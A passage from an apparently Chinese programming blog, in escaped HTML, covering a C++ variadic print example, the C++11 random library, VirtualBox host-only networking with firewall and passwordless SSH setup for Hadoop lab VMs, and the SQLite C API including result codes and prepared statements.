class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_end\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// For test.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"如何更加省心地随便编个数\"\u003e如何更加省心地随便编个数\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e先引入 C++ 11 标准的全新标准库 \u003ccode\u003erandom\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e先找个能生成随机种子的随机数引擎,我用的是 \u003ccode\u003erandom_device\u003c/code\u003e,在 Linux 上相当于读取 \u003ccode\u003e/dev/urandom\u003c/code\u003e 产生的随机数。我们不使用该引擎生成随机数,因为根据原理,在生成随机数的时候,会产生大量的输入输出中断,一定程度上影响性能,而且会下降 \u003ccode\u003e/dev/urandom\u003c/code\u003e 生成随机数的质量。\u003c/li\u003e\n\u003cli\u003e然后利用上述引擎,生成我们要用的引擎 \u003ccode\u003edefault_random_engine\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e我们利用该随机数引擎,生成随机数。由于我们这里使用无符号的随机数,遵循均匀分布,我们使用 \u003ccode\u003euniform_int_distribution\u0026lt;uint\u0026gt;\u003c/code\u003e 类来生成之。\n顺便说一句,\u003ccode\u003erandom\u003c/code\u003e库还能支持你在概率论课程上学到的所有玩意,比如万恶的正态分布,泊松分布啥的。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何在虚拟机之间搞互联互通-以-virtualbox-为示例\"\u003e如何在虚拟机之间搞互联互通?—— 以 VirtualBox 为示例\u003c/h2\u003e\n\u003cp\u003e为了 Hadoop 的主从模式,我搞了三个虚拟机。\u003c/p\u003e\n\u003ch3 id=\"概述\"\u003e概述\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e管理 -\u0026gt; 主机网络管理器新建一个新网卡 vboxnet0\u003c/li\u003e\n\u003cli\u003e在每个虚拟机的设置中,设置网络为仅主机网络,界面名称 vboxnet0\u003c/li\u003e\n\u003cli\u003e每个虚拟机里面要设置好固定 ip ,关闭防火墙,和 ssh 免密码登录\u003c/li\u003e\n\u003cli\u003e(可选但推荐) 修改所有虚拟机的 host 文件,标记所有虚拟机的地址\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"截图主机网络管理器\"\u003e截图~主机网络管理器\u003c/h3\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果设置成功的话,你的宿主机应该可以 ping 到你的虚拟机。查看你电脑的 ip,可以执行 \u003ccode\u003eifconfig\u003c/code\u003e 或者 \u003ccode\u003eip a\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"如何关闭网络防火墙\"\u003e如何关闭网络防火墙\u003c/h3\u003e\n\u003cp\u003e基本上我见到的 Linux 系统,防火墙软件都是 \u003ca class=\"link\" href=\"https://firewalld.org/\" target=\"_blank\" rel=\"noopener\"\u003efirewalld\u003c/a\u003e。关闭防火墙,也就是关掉这个服务。所以我们要执行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003esudo systemctl stop firewalld.service \u003cspan class=\"c1\"\u003e# 停止防火墙服务\u003c/span\u003e\nsudo systemctl disable firewalld.service \u003cspan class=\"c1\"\u003e# 防止防火墙开机自启动\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e说到这了,看看 Systemd 还能搞啥\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003esudo systemctl status firewalld.service \u003cspan class=\"c1\"\u003e# 看看这玩意运行状态\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外,如果你安装的是 Ubuntu Server ,安装时候可以关掉防火墙选项的。如果你安装的是 OpenSUSE,你也可以在 YaST 里面关掉,或者开 22 和 23 端口。\u003c/p\u003e\n\u003ch3 id=\"如何设置免密码登录-ssh\"\u003e如何设置免密码登录 ssh\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ ssh-keygen\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/.ssh\n$ ssh-copy-id 另外一个虚拟机的用户名@另外一个虚拟机的ip\n$ ssh 另外一个虚拟机的用户名@另外一个虚拟机的ip \u003cspan class=\"c1\"\u003e# 测试是否成功\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意,.ssh目录的权限为700,其下文件authorized_keys和私钥的权限为600。如有问题,请使用 chmod 修改。\u003c/p\u003e\n\u003ch2 id=\"修改-host-文件\"\u003e修改 Host 文件\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo nano /etc/hosts\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e修改方式是 ip + 电脑名称\u003c/p\u003e\n\u003ch2 id=\"c-语言的-sqlite-函数概览\"\u003eC 语言的 SQLite 函数概览\u003c/h2\u003e\n\u003cp\u003e为啥是 C 语言的,因为 Vala 的 SQLite 支持是把 C 语言支持的头文件给“照搬”了。\u003c/p\u003e\n\u003ch3 id=\"基础函数\"\u003e基础函数\u003c/h3\u003e\n\u003cp\u003e通过这个方式来创建一个 SQLite 结构体:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"n\"\u003esqlite\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,打开一个数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 文件所在的路径 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppDb\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 对应的 SQLite 结构体 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,来在这个数据库上执行 SQL 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 要执行的数据库 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 执行语句 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite_callback\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调参数 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 接受错误信息的字符串 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用完数据库后,通过这个函数释放数据库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 你需要关闭的数据库 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"函数返回值\"\u003e函数返回值\u003c/h3\u003e\n\u003cp\u003eSQLite 里面的函数在执行的时候,都会有一个返回值。在 C 语言头文件里面,是一堆 define 。以下是 sqlite3.h 文件里面的东西。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** sqlite3.h, version 3.40.0, line 433-476.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** CAPI3REF: Result Codes\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** KEYWORDS: {result code definitions}\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 返回值 要点:返回值和定义\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** Many SQLite functions return an integer result code from the set shown\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** here in order to indicate success or failure.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 许多 SQLite 函数的返回值是下面定义的整型,以反映成功/失败状态。\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** New error codes may be added in future versions of SQLite.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 新的错误码将会在未来版本加入。\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** See also: [extended result code definitions]\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 还有扩充版返回值定义:-P\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#define SQLITE_OK 0 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Successful result */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* beginning-of-error-codes */\u003c/span\u003e\n\u003cspan class=\"cm\"\u003e/* 除了0之外全是出错 */\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#define SQLITE_ERROR 1 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Generic error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERNAL 2 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal logic error in SQLite */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PERM 3 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Access permission denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ABORT 4 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_BUSY 5 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database file is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_LOCKED 6 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOMEM 7 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A malloc() failed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_READONLY 8 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERRUPT 9 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Operation terminated by sqlite3_interrupt()*/\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_IOERR 10 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CORRUPT 11 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTFOUND 12 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unknown opcode in sqlite3_file_control() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FULL 13 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CANTOPEN 14 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PROTOCOL 15 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_EMPTY 16 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal use only */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_SCHEMA 17 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database schema changed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_TOOBIG 18 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* String or BLOB exceeds size limit */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CONSTRAINT 19 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Abort due to constraint violation */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISMATCH 20 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Data type mismatch */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISUSE 21 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOLFS 22 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_AUTH 23 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Authorization denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FORMAT 24 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Not used */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_RANGE 25 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 2nd parameter to sqlite3_bind out of range */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTADB 26 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* File opened that is not a database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTICE 27 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Notifications from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_WARNING 28 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Warnings from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ROW 100 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has another row ready */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_DONE 101 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has finished executing */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* end-of-error-codes */\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e看看 SQLite 的头文件吧,很详细的。\u003c/p\u003e\n\u003ch2 id=\"使用-sqlite-声明\"\u003e使用 SQLite 声明\u003c/h2\u003e\n\u003cp\u003e使用 SQLite 声明来执行 SQL 语句,比直接调用 exec 更高效。\u003c/p\u003e\n\u003cp\u003e首先,你需要写好一个 SQL 语句,碰到待定的地方可以用问号,或者 \u003ccode\u003e$xxx\u003c/code\u003e 等形式表示。以下是我程序里面的示例:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate const string ADD_HOTEL_DATA = \u0026#34;\u0026#34;\u0026#34;\n INSERT INTO HOTEL (location, price, numRooms, numAvail)\n VALUES ($LOCATION, $PRICE, $NUMBEROFROOMS, $NUMBEROFAVALIABLE);\n\u0026#34;\u0026#34;\u0026#34;;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e然后使用这个函数,准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 先初始化一个空的 */\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的数据库 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezSql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* SQL 语句 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enByte\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串长度 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppStmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 指向一个需要初始化的声明 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003epzTail\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 貌似是说 SQL 声明的尾部,可以不管吧 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,使用 \u003ccode\u003esqlite_bind\u003c/code\u003e系列函数在声明上绑定变量,以下用 \u003ccode\u003esqlite3_bind_text\u003c/code\u003e 举例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 在声明需要绑定位置的索引,从 1 开始计数 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要绑定的字符串 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串的长度 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 某种析构函数,当绑定失败执行这个吧 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e还有 \u003ccode\u003esqlite3_bind_int\u003c/code\u003e,\u003ccode\u003esqlite3_bind_double\u003c/code\u003e之类,用法都差不多。\u003c/p\u003e\n\u003cp\u003e注意,你可以用这个函数寻找声明里面的索引:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_parameter_index\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezName\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要寻找的绑定位置 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果没找到的话,就返回 0。\u003c/p\u003e\n\u003cp\u003e现在你可以执行绑定完变量的声明了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_step\u003c/span\u003e\u003cspan 